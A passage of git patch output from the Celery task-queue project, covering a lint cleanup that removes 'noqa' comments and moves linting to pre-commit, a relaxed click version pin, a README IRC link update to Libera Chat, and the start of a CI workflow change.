--- a/celery/backends/base.py +++ b/celery/backends/base.py @@ -129,7 +129,7 @@ def __init__(self, app, # precedence: accept, conf.result_accept_content, conf.accept_content self.accept = conf.result_accept_content if accept is None else accept - self.accept = conf.accept_content if self.accept is None else self.accept # noqa: E501 + self.accept = conf.accept_content if self.accept is None else self.accept self.accept = prepare_accept_content(self.accept) self.always_retry = conf.get('result_backend_always_retry', False) @@ -758,7 +758,7 @@ class BaseBackend(Backend, SyncBackendMixin): """Base (synchronous) result backend.""" -BaseDictBackend = BaseBackend # noqa: E305 XXX compat +BaseDictBackend = BaseBackend # XXX compat class BaseKeyValueStoreBackend(Backend): diff --git a/celery/backends/cache.py b/celery/backends/cache.py index f3d13d95304..7d17837ffd7 100644 --- a/celery/backends/cache.py +++ b/celery/backends/cache.py @@ -33,7 +33,7 @@ def import_best_memcache(): is_pylibmc = True except ImportError: try: - import memcache # noqa + import memcache except ImportError: raise ImproperlyConfigured(REQUIRES_BACKEND) _imp[0] = (is_pylibmc, memcache, memcache_key_t) @@ -47,7 +47,7 @@ def get_best_memcache(*args, **kwargs): Client = _Client = memcache.Client if not is_pylibmc: - def Client(*args, **kwargs): # noqa + def Client(*args, **kwargs): kwargs.pop('behaviors', None) return _Client(*args, **kwargs) diff --git a/celery/backends/cassandra.py b/celery/backends/cassandra.py index 1220063b63c..bf4f69c2753 100644 --- a/celery/backends/cassandra.py +++ b/celery/backends/cassandra.py @@ -13,7 +13,7 @@ import cassandra.cluster import cassandra.query except ImportError: # pragma: no cover - cassandra = None # noqa + cassandra = None __all__ = ('CassandraBackend',) diff --git a/celery/backends/cosmosdbsql.py b/celery/backends/cosmosdbsql.py index 899cbcb866c..344e46ede0c 100644 --- a/celery/backends/cosmosdbsql.py +++ b/celery/backends/cosmosdbsql.py @@ -17,7 +17,7 @@ from pydocumentdb.retry_options import RetryOptions except ImportError: # pragma: no cover pydocumentdb = DocumentClient = ConsistencyLevel = PartitionKind = \ - HTTPFailure = ConnectionPolicy = RetryOptions = None # noqa + HTTPFailure = ConnectionPolicy = RetryOptions = None __all__ = ("CosmosDBSQLBackend",) diff --git a/celery/backends/couchdb.py b/celery/backends/couchdb.py index 43470ed109b..a4b040dab75 100644 --- a/celery/backends/couchdb.py +++ b/celery/backends/couchdb.py @@ -9,7 +9,7 @@ try: import pycouchdb except ImportError: - pycouchdb = None # noqa + pycouchdb = None __all__ = ('CouchBackend',) @@ -42,7 +42,7 @@ def __init__(self, url=None, *args, **kwargs): uscheme = uhost = uport = uname = upass = ucontainer = None if url: - _, uhost, uport, uname, upass, ucontainer, _ = _parse_url(url) # noqa + _, uhost, uport, uname, upass, ucontainer, _ = _parse_url(url) ucontainer = ucontainer.strip('/') if ucontainer else None self.scheme = uscheme or self.scheme diff --git a/celery/backends/dynamodb.py b/celery/backends/dynamodb.py index 25a8e3423c1..4fbd9aaf7d7 100644 --- a/celery/backends/dynamodb.py +++ b/celery/backends/dynamodb.py @@ -13,7 +13,7 @@ import boto3 from botocore.exceptions import ClientError except ImportError: # pragma: no cover - boto3 = ClientError = None # noqa + boto3 = ClientError = None __all__ = ('DynamoDBBackend',) diff --git a/celery/backends/elasticsearch.py b/celery/backends/elasticsearch.py index 886acd02475..42e93b23d53 100644 --- a/celery/backends/elasticsearch.py +++ b/celery/backends/elasticsearch.py @@ -12,7 +12,7 @@ try: import elasticsearch except ImportError: # pragma: no cover - elasticsearch = None # noqa + elasticsearch = None __all__ = ('ElasticsearchBackend',) @@ -52,7 +52,7 @@ def __init__(self, url=None, *args, **kwargs): index = doc_type = scheme = host = port = username = password = None if url: - scheme, host, port, username, password, path, _ = _parse_url(url) # noqa + scheme, host, port, username, password, path, _ = _parse_url(url) if scheme == 'elasticsearch': scheme = None if path: diff --git a/celery/backends/mongodb.py b/celery/backends/mongodb.py index 60448663aa9..b78e4d015b4 100644 --- a/celery/backends/mongodb.py +++ b/celery/backends/mongodb.py @@ -13,18 +13,18 @@ try: import pymongo except ImportError: # pragma: no cover - pymongo = None # noqa + pymongo = None if pymongo: try: from bson.binary import Binary except ImportError: # pragma: no cover - from pymongo.binary import Binary # noqa - from pymongo.errors import InvalidDocument # noqa + from pymongo.binary import Binary + from pymongo.errors import InvalidDocument else: # pragma: no cover - Binary = None # noqa + Binary = None - class InvalidDocument(Exception): # noqa + class InvalidDocument(Exception): pass __all__ = ('MongoBackend',) diff --git a/celery/backends/redis.py b/celery/backends/redis.py index 23d7ac3ccc2..e4a4cc104e7 100644 --- a/celery/backends/redis.py +++ b/celery/backends/redis.py @@ -26,8 +26,8 @@ import redis.connection from kombu.transport.redis import get_redis_error_classes except ImportError: # pragma: no cover - redis = None # noqa - get_redis_error_classes = None # noqa + redis = None + get_redis_error_classes = None try: import redis.sentinel diff --git a/celery/beat.py b/celery/beat.py index 74c67f94ed9..7f72f2f2fec 100644 --- a/celery/beat.py +++ b/celery/beat.py @@ -703,7 +703,7 @@ def stop(self): except NotImplementedError: # pragma: no cover _Process = None else: - class _Process(Process): # noqa + class _Process(Process): def __init__(self, app, **kwargs): super().__init__() diff --git a/celery/canvas.py b/celery/canvas.py index 34bcd6a0085..8a471ec0471 100644 --- a/celery/canvas.py +++ b/celery/canvas.py @@ -1579,7 +1579,7 @@ def signature(varies, *args, **kwargs): return Signature(varies, *args, **kwargs) -subtask = signature # noqa: E305 XXX compat +subtask = signature # XXX compat def maybe_signature(d, app=None, clone=False): @@ -1609,4 +1609,4 @@ def maybe_signature(d, app=None, clone=False): return d -maybe_subtask = maybe_signature # noqa: E305 XXX compat +maybe_subtask = maybe_signature # XXX compat diff --git a/celery/concurrency/asynpool.py b/celery/concurrency/asynpool.py index c6612aff64f..0c16187823b 100644 --- a/celery/concurrency/asynpool.py +++ b/celery/concurrency/asynpool.py @@ -48,13 +48,13 @@ except ImportError: # pragma: no cover - def __read__(fd, buf, size, read=os.read): # noqa + def __read__(fd, buf, size, read=os.read): chunk = read(fd, size) n = len(chunk) if n != 0: buf.write(chunk) return n - readcanbuf = False # noqa + readcanbuf = False def unpack_from(fmt, iobuf, unpack=unpack): # noqa return unpack(fmt, iobuf.getvalue()) # <-- BytesIO diff --git a/celery/concurrency/eventlet.py b/celery/concurrency/eventlet.py index bf794d47f16..c6bb3415f69 100644 --- a/celery/concurrency/eventlet.py +++ b/celery/concurrency/eventlet.py @@ -2,11 +2,11 @@ import sys from time import monotonic -from kombu.asynchronous import timer as _timer # noqa +from kombu.asynchronous import timer as _timer -from celery import signals # noqa +from celery import signals -from . import base # noqa +from . import base __all__ = ('TaskPool',) diff --git a/celery/concurrency/gevent.py b/celery/concurrency/gevent.py index 0bb3e4919ff..33a61bf6198 100644 --- a/celery/concurrency/gevent.py +++ b/celery/concurrency/gevent.py @@ -8,7 +8,7 @@ try: from gevent import Timeout except ImportError: # pragma: no cover - Timeout = None # noqa + Timeout = None __all__ = ('TaskPool',) diff --git a/celery/events/state.py b/celery/events/state.py index 4fef2bf38cc..f8ff9ad687e 100644 --- a/celery/events/state.py +++ b/celery/events/state.py @@ -99,7 +99,7 @@ def __call__(self, *args, **kwargs): return self.fun(*args, **kwargs) -Callable.register(CallableDefaultdict) # noqa: E305 +Callable.register(CallableDefaultdict) @memoize(maxsize=1000, keyfun=lambda a, _: a[0]) @@ -517,7 +517,7 @@ def worker_event(self, type_, fields): return self._event(dict(fields, type='-'.join(['worker', type_])))[0] def _create_dispatcher(self): - # noqa: C901 + # pylint: disable=too-many-statements # This code is highly optimized, but not for reusability. get_handler = self.handlers.__getitem__ diff --git a/celery/exceptions.py b/celery/exceptions.py index 775418d113d..64b017aa7c0 100644 --- a/celery/exceptions.py +++ b/celery/exceptions.py @@ -183,7 +183,7 @@ def __reduce__(self): return self.__class__, (self.message, self.exc, self.when) -RetryTaskError = Retry # noqa: E305 XXX compat +RetryTaskError = Retry # XXX compat class Ignore(TaskPredicate): @@ -271,7 +271,7 @@ class WorkerTerminate(SystemExit): """Signals that the worker should terminate immediately.""" -SystemTerminate = WorkerTerminate # noqa: E305 XXX compat +SystemTerminate = WorkerTerminate # XXX compat class WorkerShutdown(SystemExit): diff --git a/celery/fixups/django.py b/celery/fixups/django.py index 3064601c473..019e695ea2e 100644 --- a/celery/fixups/django.py +++ b/celery/fixups/django.py @@ -37,7 +37,7 @@ def fixup(app, env='DJANGO_SETTINGS_MODULE'): SETTINGS_MODULE = os.environ.get(env) if SETTINGS_MODULE and 'django' not in app.loader_cls.lower(): try: - import django # noqa + import django except ImportError: warnings.warn(FixupWarning(ERR_NOT_INSTALLED)) else: diff --git a/celery/platforms.py b/celery/platforms.py index 16cfa8d9a04..82fed9cb9f0 100644 --- a/celery/platforms.py +++ b/celery/platforms.py @@ -236,7 +236,7 @@ def write_pid(self): rfh.close() -PIDFile = Pidfile # noqa: E305 XXX compat alias +PIDFile = Pidfile # XXX compat alias def create_pidlock(pidfile): @@ -625,15 +625,15 @@ def arm_alarm(self, seconds): _signal.setitimer(_signal.ITIMER_REAL, seconds) else: # pragma: no cover try: - from itimer import alarm as _itimer_alarm # noqa + from itimer import alarm as _itimer_alarm except ImportError: - def arm_alarm(self, seconds): # noqa + def arm_alarm(self, seconds): _signal.alarm(math.ceil(seconds)) else: # pragma: no cover - def arm_alarm(self, seconds): # noqa - return _itimer_alarm(seconds) # noqa + def arm_alarm(self, seconds): + return _itimer_alarm(seconds) def reset_alarm(self): return _signal.alarm(0) @@ -731,7 +731,7 @@ def set_mp_process_title(*a, **k): """Disabled feature.""" else: - def set_mp_process_title(progname, info=None, hostname=None): # noqa + def set_mp_process_title(progname, info=None, hostname=None): """Set the :command:`ps` name from the current process name. Only works if :pypi:`setproctitle` is installed. diff --git a/celery/result.py b/celery/result.py index d8d7d1685c5..5ed08e3886c 100644 --- a/celery/result.py +++ b/celery/result.py @@ -2,9 +2,9 @@ import datetime import time -from weakref import proxy from collections import deque from contextlib import contextmanager +from weakref import proxy from kombu.utils.objects import cached_property from vine import Thenable, barrier, promise @@ -483,7 +483,7 @@ def task_id(self): """Compat. alias to :attr:`id`.""" return self.id - @task_id.setter # noqa + @task_id.setter def task_id(self, id): self.id = id @@ -852,7 +852,7 @@ def app(self): return self._app @app.setter - def app(self, app): # noqa + def app(self, app): self._app = app @property diff --git a/celery/schedules.py b/celery/schedules.py index 3db64e4dab6..3731b747cee 100644 --- a/celery/schedules.py +++ b/celery/schedules.py @@ -79,7 +79,7 @@ def maybe_make_aware(self, dt): def app(self): return self._app or current_app._get_current_object() - @app.setter # noqa + @app.setter def app(self, app): self._app = app diff --git a/celery/security/__init__.py b/celery/security/__init__.py index 316ec1db5c1..26237856939 100644 --- a/celery/security/__init__.py +++ b/celery/security/__init__.py @@ -5,7 +5,7 @@ from celery.exceptions import ImproperlyConfigured -from .serialization import register_auth # noqa: need cryptography first +from .serialization import register_auth # : need cryptography first CRYPTOGRAPHY_NOT_INSTALLED = """\ You need to install the cryptography library to use the auth serializer. diff --git a/celery/utils/collections.py b/celery/utils/collections.py index dc4bd23437a..1fedc775771 100644 --- a/celery/utils/collections.py +++ b/celery/utils/collections.py @@ -20,9 +20,9 @@ try: from django.utils.functional import LazyObject, LazySettings except ImportError: - class LazyObject: # noqa + class LazyObject: pass - LazySettings = LazyObject # noqa + LazySettings = LazyObject __all__ = ( 'AttributeDictMixin', 'AttributeDict', 'BufferMap', 'ChainMap', @@ -197,7 +197,7 @@ def _iterate_values(self): values = _iterate_values -MutableMapping.register(DictAttribute) # noqa: E305 +MutableMapping.register(DictAttribute) class ChainMap(MutableMapping): @@ -667,7 +667,7 @@ def _heap_overload(self): return len(self._heap) * 100 / max(len(self._data), 1) - 100 -MutableSet.register(LimitedSet) # noqa: E305 +MutableSet.register(LimitedSet) class Evictable: @@ -768,7 +768,7 @@ def _evictcount(self): return len(self) -Sequence.register(Messagebuffer) # noqa: E305 +Sequence.register(Messagebuffer) class BufferMap(OrderedDict, Evictable): diff --git a/celery/utils/debug.py b/celery/utils/debug.py index 0641f1d6c92..3515dc84f9b 100644 --- a/celery/utils/debug.py +++ b/celery/utils/debug.py @@ -12,7 +12,7 @@ try: from psutil import Process except ImportError: - Process = None # noqa + Process = None __all__ = ( 'blockdetection', 'sample_mem', 'memdump', 'sample', diff --git a/celery/utils/saferepr.py b/celery/utils/saferepr.py index ec73e2069a6..d079734fc5d 100644 --- a/celery/utils/saferepr.py +++ b/celery/utils/saferepr.py @@ -191,7 +191,7 @@ def _saferepr(o, maxlen=None, maxlevels=3, seen=None): def _reprseq(val, lit_start, lit_end, builtin_type, chainer): # type: (Sequence, _literal, _literal, Any, Any) -> Tuple[Any, ...] - if type(val) is builtin_type: # noqa + if type(val) is builtin_type: return lit_start, lit_end, chainer(val) return ( _literal(f'{type(val).__name__}({lit_start.value}', False, +1), diff --git a/celery/utils/serialization.py b/celery/utils/serialization.py index af7804a2132..dc3815e1f7b 100644 --- a/celery/utils/serialization.py +++ b/celery/utils/serialization.py @@ -13,7 +13,7 @@ try: import cPickle as pickle except ImportError: - import pickle # noqa + import pickle __all__ = ( 'UnpickleableExceptionWrapper', 'subclass_exception', @@ -30,7 +30,7 @@ 'on': True, 'off': False} -def subclass_exception(name, parent, module): # noqa +def subclass_exception(name, parent, module): """Create new exception class.""" return type(name, (parent,), {'__module__': module}) diff --git a/celery/utils/sysinfo.py b/celery/utils/sysinfo.py index 7032d4de885..57425dd8173 100644 --- a/celery/utils/sysinfo.py +++ b/celery/utils/sysinfo.py @@ -14,7 +14,7 @@ def _load_average(): else: # pragma: no cover # Windows doesn't have getloadavg - def _load_average(): # noqa + def _load_average(): return (0.0, 0.0, 0.0) diff --git a/celery/utils/threads.py b/celery/utils/threads.py index b080ca42e37..a80b9ed69cf 100644 --- a/celery/utils/threads.py +++ b/celery/utils/threads.py @@ -13,15 +13,15 @@ from greenlet import getcurrent as get_ident except ImportError: # pragma: no cover try: - from _thread import get_ident # noqa + from _thread import get_ident except ImportError: try: - from thread import get_ident # noqa + from thread import get_ident except ImportError: # pragma: no cover try: - from _dummy_thread import get_ident # noqa + from _dummy_thread import get_ident except ImportError: - from dummy_thread import get_ident # noqa + from dummy_thread import get_ident __all__ = ( @@ -328,4 +328,4 @@ def __len__(self): # since each thread has its own greenlet we can just use those as # identifiers for the context. If greenlets aren't available we # fall back to the current thread ident. - LocalStack = _LocalStack # noqa + LocalStack = _LocalStack diff --git a/celery/worker/request.py b/celery/worker/request.py index 7cdb87fe054..c30869bddbf 100644 --- a/celery/worker/request.py +++ b/celery/worker/request.py @@ -50,7 +50,7 @@ def __optimize__(): _does_info = logger.isEnabledFor(logging.INFO) -__optimize__() # noqa: E305 +__optimize__() # Localize tz_or_local = timezone.tz_or_local @@ -291,7 +291,7 @@ def task_id(self): # XXX compat return self.id - @task_id.setter # noqa + @task_id.setter def task_id(self, value): self.id = value @@ -300,7 +300,7 @@ def task_name(self): # XXX compat return self.name - @task_name.setter # noqa + @task_name.setter def task_name(self, value): self.name = value diff --git a/celery/worker/state.py b/celery/worker/state.py index 5b2ed68c5fe..3afb2e8e3b9 100644 --- a/celery/worker/state.py +++ b/celery/worker/state.py @@ -153,7 +153,7 @@ def on_shutdown(): sum(bench_sample) / len(bench_sample))) memdump() - def task_reserved(request): # noqa + def task_reserved(request): """Called when a task is reserved by the worker.""" global bench_start global bench_first @@ -165,7 +165,7 @@ def task_reserved(request): # noqa return __reserved(request) - def task_ready(request): # noqa + def task_ready(request): """Called when a task is completed.""" global all_count global bench_start diff --git a/celery/worker/worker.py b/celery/worker/worker.py index 382802a2738..f67d1a336da 100644 --- a/celery/worker/worker.py +++ b/celery/worker/worker.py @@ -38,7 +38,7 @@ try: import resource except ImportError: # pragma: no cover - resource = None # noqa + resource = None __all__ = ('WorkController',) diff --git a/examples/celery_http_gateway/manage.py b/examples/celery_http_gateway/manage.py index 2c41aaabd87..3109e100b4d 100644 --- a/examples/celery_http_gateway/manage.py +++ b/examples/celery_http_gateway/manage.py @@ -3,7 +3,7 @@ from django.core.management import execute_manager try: - import settings # Assumed to be in the same directory. + import settings # Assumed to be in the same directory. except ImportError: import sys sys.stderr.write( diff --git a/examples/celery_http_gateway/urls.py b/examples/celery_http_gateway/urls.py index 522b39ff8d1..c916ff8029b 100644 --- a/examples/celery_http_gateway/urls.py +++ b/examples/celery_http_gateway/urls.py @@ -1,7 +1,6 @@ +from celery_http_gateway.tasks import hello_world from django.conf.urls.defaults import (handler404, handler500, # noqa include, patterns, url) - -from celery_http_gateway.tasks import hello_world from djcelery import views as celery_views # Uncomment the next two lines to enable the admin: diff --git a/examples/django/demoapp/models.py b/examples/django/demoapp/models.py index bec42a2b041..1f7d09ead22 100644 --- a/examples/django/demoapp/models.py +++ b/examples/django/demoapp/models.py @@ -1,4 +1,4 @@ -from django.db import models # noqa +from django.db import models class Widget(models.Model): diff --git a/examples/django/demoapp/tasks.py b/examples/django/demoapp/tasks.py index ac309b8c9fd..c16b76b4c4f 100644 --- a/examples/django/demoapp/tasks.py +++ b/examples/django/demoapp/tasks.py @@ -1,8 +1,9 @@ # Create your tasks here -from celery import shared_task from demoapp.models import Widget +from celery import shared_task + @shared_task def add(x, y): diff --git a/examples/django/proj/wsgi.py b/examples/django/proj/wsgi.py index 1bb1b542185..d07dbf074cc 100644 --- a/examples/django/proj/wsgi.py +++ b/examples/django/proj/wsgi.py @@ -19,7 +19,7 @@ # This application object is used by any WSGI server configured to use this # file. This includes Django's development server, if the WSGI_APPLICATION # setting points here. -from django.core.wsgi import get_wsgi_application # noqa +from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'proj.settings') diff --git a/examples/eventlet/webcrawler.py b/examples/eventlet/webcrawler.py index 80fb523a742..617e9187567 100644 --- a/examples/eventlet/webcrawler.py +++ b/examples/eventlet/webcrawler.py @@ -23,15 +23,15 @@ import re import requests - -from celery import group, task from eventlet import Timeout from pybloom import BloomFilter +from celery import group, task + try: from urllib.parse import urlsplit except ImportError: - from urlparse import urlsplit # noqa + from urlparse import urlsplit # http://daringfireball.net/2009/11/liberal_regex_for_matching_urls url_regex = re.compile( diff --git a/setup.cfg b/setup.cfg index fc8847c6200..448e97dce2a 100644 --- a/setup.cfg +++ b/setup.cfg @@ -14,6 +14,7 @@ all_files = 1 # whenever it makes the code more readable. max-line-length = 117 extend-ignore = + E203, # incompatible with black https://github.com/psf/black/issues/315#issuecomment-395457972 D102, # Missing docstring in public method D104, # Missing docstring in public package D105, # Missing docstring in magic method diff --git a/t/benchmarks/bench_worker.py b/t/benchmarks/bench_worker.py index a2102b8bf19..adc88ede47b 100644 --- a/t/benchmarks/bench_worker.py +++ b/t/benchmarks/bench_worker.py @@ -1,7 +1,7 @@ import os import sys -from celery import Celery # noqa +from celery import Celery os.environ.update( NOSETPS='yes', @@ -48,13 +48,13 @@ def it(_, n): # by previous runs, or the broker. i = it.cur if i and not i % 5000: - print('({} so far: {}s)'.format(i, tdiff(it.subt)), file=sys.stderr) + print(f'({i} so far: {tdiff(it.subt)}s)', file=sys.stderr) it.subt = time.monotonic() if not i: it.subt = it.time_start = time.monotonic() elif i > n - 2: total = tdiff(it.time_start) - print('({} so far: {}s)'.format(i, tdiff(it.subt)), file=sys.stderr) + print(f'({i} so far: {tdiff(it.subt)}s)', file=sys.stderr) print('-- process {} tasks: {}s total, {} tasks/s'.format( n, total, n / (total + .0), )) @@ -68,7 +68,7 @@ def bench_apply(n=DEFAULT_ITS): task = it._get_current_object() with app.producer_or_acquire() as producer: [task.apply_async((i, n), producer=producer) for i in range(n)] - print('-- apply {} tasks: {}s'.format(n, time.monotonic() - time_start)) + print(f'-- apply {n} tasks: {time.monotonic() - time_start}s') def bench_work(n=DEFAULT_ITS, loglevel='CRITICAL'): diff --git a/t/distro/test_CI_reqs.py b/t/distro/test_CI_reqs.py index a45f3622390..861e30b905e 100644 --- a/t/distro/test_CI_reqs.py +++ b/t/distro/test_CI_reqs.py @@ -31,5 +31,5 @@ def test_all_reqs_enabled_in_tests(): defined = ci_default | ci_base all_extras = _get_all_extras() diff = all_extras - defined - print('Missing CI reqs:\n{}'.format(pprint.pformat(diff))) + print(f'Missing CI reqs:\n{pprint.pformat(diff)}') assert not diff diff --git a/t/integration/test_canvas.py b/t/integration/test_canvas.py index 2c48d43e07e..3109d021a33 100644 --- a/t/integration/test_canvas.py +++ b/t/integration/test_canvas.py @@ -93,7 +93,7 @@ def await_redis_count(expected_count, redis_key="redis-count", timeout=TIMEOUT): # try again later sleep(check_interval) else: - raise TimeoutError("{!r} was never incremented".format(redis_key)) + raise TimeoutError(f"{redis_key!r} was never incremented") # There should be no more increments - block momentarily sleep(min(1, timeout)) diff --git a/t/unit/backends/test_arangodb.py b/t/unit/backends/test_arangodb.py index 82dd49d1514..2cb2f33c9db 100644 --- a/t/unit/backends/test_arangodb.py +++ b/t/unit/backends/test_arangodb.py @@ -12,7 +12,7 @@ try: import pyArango except ImportError: - pyArango = None # noqa + pyArango = None pytest.importorskip('pyArango') diff --git a/t/unit/backends/test_couchbase.py b/t/unit/backends/test_couchbase.py index a29110c9439..297735a38ba 100644 --- a/t/unit/backends/test_couchbase.py +++ b/t/unit/backends/test_couchbase.py @@ -13,7 +13,7 @@ try: import couchbase except ImportError: - couchbase = None # noqa + couchbase = None COUCHBASE_BUCKET = 'celery_bucket' diff --git a/t/unit/backends/test_couchdb.py b/t/unit/backends/test_couchdb.py index c8b4a43ec2c..41505594f72 100644 --- a/t/unit/backends/test_couchdb.py +++ b/t/unit/backends/test_couchdb.py @@ -11,7 +11,7 @@ try: import pycouchdb except ImportError: - pycouchdb = None # noqa + pycouchdb = None COUCHDB_CONTAINER = 'celery_container' diff --git a/t/unit/backends/test_dynamodb.py b/t/unit/backends/test_dynamodb.py index 62f50b6625b..6fd2625c0cb 100644 --- a/t/unit/backends/test_dynamodb.py +++ b/t/unit/backends/test_dynamodb.py @@ -13,7 +13,7 @@ class test_DynamoDBBackend: def setup(self): - self._static_timestamp = Decimal(1483425566.52) # noqa + self._static_timestamp = Decimal(1483425566.52) self.app.conf.result_backend = 'dynamodb://' @property diff --git a/t/unit/concurrency/test_prefork.py b/t/unit/concurrency/test_prefork.py index 275d4f2f521..f240123a448 100644 --- a/t/unit/concurrency/test_prefork.py +++ b/t/unit/concurrency/test_prefork.py @@ -36,8 +36,8 @@ def stop(self): def apply_async(self, *args, **kwargs): pass - mp = _mp() # noqa - asynpool = None # noqa + mp = _mp() + asynpool = None class MockResult: diff --git a/t/unit/conftest.py b/t/unit/conftest.py index d355fe31edd..90dc50682d5 100644 --- a/t/unit/conftest.py +++ b/t/unit/conftest.py @@ -27,7 +27,7 @@ ) try: - WindowsError = WindowsError # noqa + WindowsError = WindowsError except NameError: class WindowsError(Exception): diff --git a/t/unit/contrib/test_sphinx.py b/t/unit/contrib/test_sphinx.py index de0d04aa5af..a4d74e04465 100644 --- a/t/unit/contrib/test_sphinx.py +++ b/t/unit/contrib/test_sphinx.py @@ -21,7 +21,6 @@ def test_sphinx(): app = TestApp(srcdir=SRCDIR, confdir=SRCDIR) app.build() contents = open(os.path.join(app.outdir, 'contents.html'), - mode='r', encoding='utf-8').read() assert 'This is a sample Task' in contents assert 'This is a sample Shared Task' in contents diff --git a/t/unit/utils/test_dispatcher.py b/t/unit/utils/test_dispatcher.py index b5e11c40bb8..b100b68b800 100644 --- a/t/unit/utils/test_dispatcher.py +++ b/t/unit/utils/test_dispatcher.py @@ -15,13 +15,13 @@ def garbage_collect(): elif hasattr(sys, 'pypy_version_info'): - def garbage_collect(): # noqa + def garbage_collect(): # Collecting weakreferences can take two collections on PyPy. gc.collect() gc.collect() else: - def garbage_collect(): # noqa + def garbage_collect(): gc.collect() diff --git a/t/unit/utils/test_functional.py b/t/unit/utils/test_functional.py index 8312b8fd7ca..721fd414a3e 100644 --- a/t/unit/utils/test_functional.py +++ b/t/unit/utils/test_functional.py @@ -279,7 +279,7 @@ class test_head_from_fun: def test_from_cls(self): class X: - def __call__(x, y, kwarg=1): # noqa + def __call__(x, y, kwarg=1): pass g = head_from_fun(X()) @@ -406,7 +406,7 @@ def fun(a, b, foo): ]) def test_seq_concat_seq(a, b, expected): res = seq_concat_seq(a, b) - assert type(res) is type(expected) # noqa + assert type(res) is type(expected) assert res == expected @@ -416,7 +416,7 @@ def test_seq_concat_seq(a, b, expected): ]) def test_seq_concat_item(a, b, expected): res = seq_concat_item(a, b) - assert type(res) is type(expected) # noqa + assert type(res) is type(expected) assert res == expected diff --git a/t/unit/utils/test_platforms.py b/t/unit/utils/test_platforms.py index f218857d605..256a7d6cefe 100644 --- a/t/unit/utils/test_platforms.py +++ b/t/unit/utils/test_platforms.py @@ -26,7 +26,7 @@ try: import resource except ImportError: # pragma: no cover - resource = None # noqa + resource = None def test_isatty(): diff --git a/t/unit/worker/test_control.py b/t/unit/worker/test_control.py index 72ea98c4603..8e1e02d64df 100644 --- a/t/unit/worker/test_control.py +++ b/t/unit/worker/test_control.py @@ -11,7 +11,7 @@ from celery.utils.collections import AttributeDict from celery.utils.timer2 import Timer -from celery.worker import WorkController as _WC # noqa +from celery.worker import WorkController as _WC from celery.worker import consumer, control from celery.worker import state as worker_state from celery.worker.pidbox import Pidbox, gPidbox diff --git a/tox.ini b/tox.ini index 6c74e65576b..5e0b4a73f76 100644 --- a/tox.ini +++ b/tox.ini @@ -38,7 +38,7 @@ deps= integration: -r{toxinidir}/requirements/test-integration.txt linkcheck,apicheck,configcheck: -r{toxinidir}/requirements/docs.txt - flake8: -r{toxinidir}/requirements/pkgutils.txt + lint: pre-commit bandit: bandit commands = @@ -79,7 +79,7 @@ basepython = 3.9: python3.9 3.10: python3.10 pypy3: pypy3 - flake8,apicheck,linkcheck,configcheck,bandit: python3.9 + lint,apicheck,linkcheck,configcheck,bandit: python3.9 usedevelop = True @@ -101,6 +101,6 @@ commands = commands = bandit -b bandit.json -r celery/ -[testenv:flake8] +[testenv:lint] commands = - flake8 -j 2 {toxinidir} + pre-commit {posargs:run --all-files --show-diff-on-failure} From ef026ea44f59e5d234c195c3ce73927f8323f9ee Mon Sep 17 00:00:00 2001 From: Thomas Grainger Date: Tue, 20 Jul 2021 17:19:02 +0100 Subject: [PATCH 285/415] relaxed click version (#6861) * relaxed click version * fix get_default * pre-check WorkersPool click.Choice type before calling super https://github.com/pallets/click/issues/1898#issuecomment-841546735 * apply pre-commit run --all-files Co-authored-by: Asif Saif Uddin --- celery/bin/base.py | 4 ++-- celery/bin/worker.py | 4 ++++ requirements/default.txt | 4 ++-- 3 files changed, 8 insertions(+), 4 deletions(-) diff --git a/celery/bin/base.py b/celery/bin/base.py index 0eba53e1ce0..95af1a89316 100644 --- a/celery/bin/base.py +++ b/celery/bin/base.py @@ -138,10 +138,10 @@ def caller(ctx, *args, **kwargs): class CeleryOption(click.Option): """Customized option for Celery.""" - def get_default(self, ctx): + def get_default(self, ctx, *args, **kwargs): if self.default_value_from_context: self.default = ctx.obj[self.default_value_from_context] - return super().get_default(ctx) + return super().get_default(ctx, *args, **kwargs) def __init__(self, *args, **kwargs): """Initialize a Celery option.""" diff --git a/celery/bin/worker.py b/celery/bin/worker.py index eecd8743abe..68a0d117247 100644 --- a/celery/bin/worker.py +++ b/celery/bin/worker.py @@ -11,6 +11,7 @@ from celery.bin.base import (COMMA_SEPARATED_LIST, LOG_LEVEL, CeleryDaemonCommand, CeleryOption, handle_preload_options) +from celery.concurrency.base import BasePool from celery.exceptions import SecurityError from celery.platforms import (EX_FAILURE, EX_OK, detached, maybe_drop_privileges) @@ -45,6 +46,9 @@ def __init__(self): def convert(self, value, param, ctx): # Pools like eventlet/gevent needs to patch libs as early # as possible. + if isinstance(value, type) and issubclass(value, BasePool): + return value + value = super().convert(value, param, ctx) worker_pool = ctx.obj.app.conf.worker_pool if value == 'prefork' and worker_pool: diff --git a/requirements/default.txt b/requirements/default.txt index afa9d16f251..b892226269a 100644 --- a/requirements/default.txt +++ b/requirements/default.txt @@ -2,8 +2,8 @@ pytz>dev billiard>=3.6.4.0,<4.0 kombu>=5.1.0,<6.0 vine>=5.0.0,<6.0 -click>=7.0,<8.0 +click>=8.0,<9.0 click-didyoumean>=0.0.3 -click-repl>=0.1.6 +click-repl>=0.2.0 click-plugins>=1.1.1 setuptools From 11f816bbfcceab641ecb9db35688996a864b67ec Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Wed, 21 Jul 2021 14:05:14 +1000 Subject: [PATCH 286/415] doc: Amend IRC network link to Libera (#6837) * doc: Amend IRC network link to Libera Ref #6811 * Update README.rst Co-authored-by: Thomas Grainger Co-authored-by: Asif Saif Uddin Co-authored-by: Thomas Grainger --- README.rst | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.rst b/README.rst index ee7c1f84306..a4f05abf96d 100644 --- a/README.rst +++ b/README.rst @@ -421,10 +421,10 @@ please join the `celery-users`_ mailing list. IRC --- -Come chat with us on IRC. The **#celery** channel is located at the `Freenode`_ -network. +Come chat with us on IRC. The **#celery** channel is located at the +`Libera Chat`_ network. -.. _`Freenode`: https://freenode.net +.. _`Libera Chat`: https://libera.chat/ .. _bug-tracker: From c557c750dd5e84b6f219094e46dbf7c30d0a15fa Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 21 Jul 2021 13:30:09 +0300 Subject: [PATCH 287/415] Run CI on the 5.0 branch as well. --- .github/workflows/python-package.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/python-package.yml b/.github/workflows/python-package.yml index 42c56683e4a..a515d3de55d 100644 --- a/.github/workflows/python-package.yml +++ b/.github/workflows/python-package.yml @@ -5,13 +5,13 @@ name: Celery on: push: 